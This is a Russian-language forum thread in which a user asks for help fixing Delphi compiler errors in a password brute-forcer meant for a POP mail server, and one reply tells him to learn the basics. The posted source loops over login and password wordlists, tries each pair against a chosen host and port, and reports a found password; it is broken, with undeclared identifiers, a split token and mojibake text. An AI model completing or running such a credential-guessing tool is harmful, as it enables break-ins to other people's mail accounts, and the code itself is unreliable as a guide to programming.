[Помогите!] Брут на pop

[MastaDan]

Кое как написал "это" чудо, но не пойму что за ошибка ?

[Error] Unit1.pas(54): Undeclared identifier: 'Username'
[Error] Unit1.pas(55): Undeclared identifier: 'Password'
[Warning] Unit1.pas(62): Unsafe type 'PChar'
[Error] Unit1.pas(62): Undeclared identifier: 'S'
[Error] Unit1.pas(62): 'END' expected but ')' found
[Error] Unit1.pas(66): Declaration expected but identifier 'LoginStrings' found
[Error] Unit1.pas(68): '.' expected but ';' found
[Error] Unit1.pas(24): Unsatisfied forward or external declaration: 'TForm1.btn2Click'
[Error] Unit1.pas(25): Unsatisfied forward or external declaration: 'TForm1.btn3Click'
[Error] Unit1.pas(26): Unsatisfied forward or external declaration: 'TForm1.edt3Change'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Растолкуйте каму не трудно, перерыл гугл, нашел несколько ответов, но они не подходят....


сорсы

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, IdAntiFreezeBase, IdAntiFreeze;

type
  TForm1 = class(TForm)
    btn1: TButton;
    mmo1: TMemo;
    edt1: TEdit;
    edt2: TEdit;
    btn2: TButton;
    btn3: TButton;
    idhtp1: TIdHTTP;
    idntfrz1: TIdAntiFreeze;
    dlgOpen1: TOpenDialog;
    edt3: TEdit;
    edt4: TEdit;
    procedure btn1Click(Sender: TObject);
    procedure btn2Click(Sender: TObject);
    procedure btn3Click(Sender: TObject);
    procedure edt3Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.btn1Click(Sender: TObject);
var
LoginStrings, PassStrings: TStrings;
i, j: Integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
LoginStrings.LoadFromFile(Edt1.Text);
PassStrings.LoadFromFile(Edt2.Text);
idhtp1.Host := Edt3.Text;
idhtp1.Port := StrToInt(Edt4.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
idhtp1.Username := LoginStrings.Strings[i];
idhtp1.Password := PassStrings.Strings[j];
try
idhtp1.Connect;
except
end;
if idhtp1.Connected then
begin
Application.MessageBox(PChar('Èìÿ:'+LoginStrings.S trings[i]+' Ïàðîëü:'+PassStrings.Strings[j]), 'Ïàðîëü íàéäåí!');
idhtp1.Disconnect;
end;
end;
LoginStrings.Free;
PassStrings.Free;
end;
end.

[VeTaL_UA]

Учите основы языка и поведения с компилятором.